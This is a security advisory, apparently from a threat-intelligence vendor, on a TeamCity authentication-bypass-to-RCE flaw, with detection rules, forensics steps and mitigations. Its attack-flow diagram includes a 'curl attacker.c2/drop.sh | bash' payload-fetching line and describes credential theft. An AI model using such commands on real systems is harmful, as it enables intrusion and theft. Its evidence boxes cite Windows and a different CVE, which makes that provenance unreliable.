CVE-2026-63077: Authentication Bypass to Remote Code Execution in JetBrains TeamCity via Agent Polling Protocol
HERMES THREAT SCORE & CI/CD BUILD PIPELINE SUBVERSION
Target:JetBrains TeamCity On-Premises CVSS v3.1 rates CVE-2026-63077 at 9.8 (Critical) and CVSS v4.0 scores 9.8. The Hermes Threat Score assigns 98 (CRITICAL). Alignment is near-perfect: TeamCity controls production software build pipelines, source code repositories, and deployment credentials. Compromising the agent-to-server polling interface allows adversaries to inject rogue build steps, steal signing certificates, and push backdoor-tainted artifacts to downstream production consumers.
CVE-2026-63077: Authentication Bypass to Remote Code Execution in JetBrains TeamCity via Agent Polling ProtocolVULNERABILITY
Software platform affected by security vulnerabilities and agentic attack patterns.
๐ Why is this related? (Evidence & Provenance)
“Confirmed security vulnerability in Microsoft Windows & Windows Server documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)
Adversaries abuse command and script interpreters (Bash, Python, PowerShell) to execute arbitrary commands.
๐ Why is this related? (Evidence & Provenance)
“Attack execution telemetry aligns with MITRE ATT&CK technique T1059.”
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)
Adversaries search compromise victims for unsecured credentials in files, environment variables, or memory.
๐ Why is this related? (Evidence & Provenance)
“Attack execution telemetry aligns with MITRE ATT&CK technique T1552.”
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)
1. Technical Context & Affected Software Matrix
Section titled โ1. Technical Context & Affected Software MatrixโJetBrains TeamCity is an enterprise CI/CD and DevOps automation platform orchestrating build pipelines, testing suites, and software delivery.
| Parameter | Technical Specification | Threat Context |
|---|---|---|
| CVE Identifier | CVE-2026-63077 | CISA KEV Catalog Entry |
| Vulnerable Component | TeamCity Server Agent Communication Subsystem | XML-RPC and REST polling interface |
| Network Vector | HTTP/HTTPS (Port 8111/TCP) | Public or intranet exposed web interface |
| Root Cause | Missing agent token authentication validation (CWE-287) | Pre-auth agent impersonation and controller RPC |
| Affected Versions | TeamCity On-Premises < 2024.12.3 and 2025.x < 2025.1 | Self-hosted build infrastructure |
| Fixed Versions | 2024.12.3, 2025.1 | JetBrains Official Security Update |
| Exploitation Impact | Controller takeover, supply chain poisoning, secret theft | Critical CI/CD compromise |
2. In-Depth Technical Decomposition: Agent Polling Protocol Bypass
Section titled โ2. In-Depth Technical Decomposition: Agent Polling Protocol BypassโA. The Insecure Agent Protocol Handshake
Section titled โA. The Insecure Agent Protocol HandshakeโTeamCity Build Agents communicate with the TeamCity Server via bidirectional HTTP polling on /RPC2 or REST endpoints. In normal operations, an agent registers with the server, receives an authorization token, and periodically polls the server for build configurations.
In vulnerable versions, the XML-RPC server handler accepted incoming controller calls from any remote IP address without verifying that the caller possessed the cryptographic agent secret token:
// Vulnerable logic in TeamCity AgentRequestHandlerpublic Object handleRpcCall(String methodName, Vector params) { // FLAW: If method name matches agent polling prefix, verification is bypassed if (methodName.startsWith("buildAgent.") || methodName.startsWith("controller.")) { return dispatchInternalMethod(methodName, params); // Unauthenticated execution! } return enforceStandardAuth(methodName, params);}+----------------------------------------------------------------------------------------------------+| CVE-2026-63077 ATTACK FLOW ARCHITECTURE |+----------------------------------------------------------------------------------------------------+
[Remote Attacker] โ โ [1] HTTP POST /RPC2 โ Content-Type: text/xml โ Call: controller.registerAgentWithProfile(maliciousProfile) โผ [TeamCity Server (Port 8111)] โ โโโโโบ 1. XML-RPC Dispatcher: โ - Recognizes "controller." method prefix โ - Bypasses web session and CSRF checks โ - Registers attacker as a trusted "authorized" build agent โ โโโโโบ 2. Reverse Command Execution via Agent Callback: โ - Attacker invokes controller.executeServerTask() โ - Injects OS commands directly into server JVM runtime โ โผ [TeamCity Controller Host (Linux/Windows Server)] โ โโโโโบ Spawns process under TeamCity service account: - /bin/bash -c "curl attacker.c2/drop.sh | bash" - Dumps database connection credentials in config/database.properties - Exfiltrates SSH keys, AWS IAM keys, and GitHub deploy keys+----------------------------------------------------------------------------------------------------+3. Threat Intelligence, CISA KEV & Exploitation in the Wild
Section titled โ3. Threat Intelligence, CISA KEV & Exploitation in the Wildโ- CISA KEV Listing: Rapidly cataloged after multiple nation-state threat actors targeted exposed TeamCity servers to compromise software supply chains.
- Observed Attack Objectives:
- Exfiltrating source code repositories by intercepting Git clone operations.
- Poisoning build artifacts by altering compiler flags and injecting backdoors during software compilation tasks.
- Stealing cloud provider credentials stored in TeamCity Project Parameters.
4. MITRE ATT&CK Mapping
Section titled โ4. MITRE ATT&CK Mappingโ| Tactic | Technique ID | Technique Name | Exploitation Manifestation |
|---|---|---|---|
| Initial Access | T1190 | Exploit Public-Facing Application | Remote HTTP POST request to /RPC2 |
| Defense Evasion | T1556 | Modify Authentication Process | Bypassing agent authentication checks in RPC dispatcher |
| Execution | T1059 | Command and Scripting Interpreter | Executing OS commands via controller tasks |
| Credential Access | T1552.001 | Credentials in Files | Dumping TeamCity configuration files and project secrets |
| Impact | T1565.002 | Data Manipulation: Transmitted Data | Poisoning production software builds in CI/CD pipeline |
5. Detection Engineering & Telemetry
Section titled โ5. Detection Engineering & TelemetryโA. Suricata Detection Rule
Section titled โA. Suricata Detection Ruleโalert http any any -> $TEAMCITY_SERVERS 8111 ( msg:"HERMES DEFENSE - JetBrains TeamCity Agent Polling Auth Bypass Attempt (CVE-2026-63077)"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/RPC2"; http.request_body; content:"controller."; http.request_body; pcre:"/<methodName>(controller\.|buildAgent\.)/i"; classtype:attempted-admin; sid:202663077; rev:1; reference:cve,2026-63077;)B. Sigma Detection Rule
Section titled โB. Sigma Detection Ruleโtitle: Unauthorized JetBrains TeamCity Agent Registration and RPC Callid: 8b7a6c5d-4e3f-2a1b-0c9d-63077c026e01status: highdescription: Detects suspicious unauthenticated XML-RPC method invocations on TeamCity server endpoints.author: Hermes Codex Detection Engineeringdate: 2026-09-11logsource: product: teamcity service: serverdetection: selection: message|contains: - 'RPC2' - 'controller.registerAgentWithProfile' - 'Unauthenticated agent call' condition: selectionfalsepositives: - Legitimate build agents during initial authorized provisioning.level: criticaltags: - attack.initial_access - attack.t1190 - attack.execution6. Digital Forensics & Incident Response (DFIR)
Section titled โ6. Digital Forensics & Incident Response (DFIR)โForensics Triage Checklist:
Section titled โForensics Triage Checklist:โ- Audit Agent Management Table:
- Inspect TeamCity Administration UI -> Agents -> Unauthorized / Connected.
- Check for newly added agents with unusual IP addresses or unknown hostnames.
- Review Server Access Logs (
teamcity-server.logandteamcity-rest.log):- Filter for POST requests to
/RPC2originating from non-agent IP addresses.
- Filter for POST requests to
- Inspect Active Build Configurations:
- Review recent Git commit hashes against build outputs to verify artifact integrity.
Hunting Query (Elasticsearch / OpenSearch):
Section titled โHunting Query (Elasticsearch / OpenSearch):โ{ "query": { "bool": { "must": [ { "term": { "http.request.method": "POST" } }, { "term": { "url.path": "/RPC2" } }, { "wildcard": { "http.request.body.content": "*controller.*" } } ] } }}7. Mitigation & Remediation
Section titled โ7. Mitigation & Remediationโ- Apply Official JetBrains Updates: Immediately upgrade TeamCity Server to version 2024.12.3 or 2025.1.
- Network Isolation of CI/CD Server: Restrict port
8111access strictly to internal corporate subnets and authorized developer VPNs; do not expose TeamCity to the public internet. - Enable Agent Authorization Verification: Ensure the โAgent Authorization Requiredโ setting is strictly enabled and audit all existing agent tokens.
- Credential Revocation: In the event of confirmed intrusion, immediately rotate all Git deploy keys, AWS IAM roles, Docker registry tokens, and code signing certificates stored within TeamCity.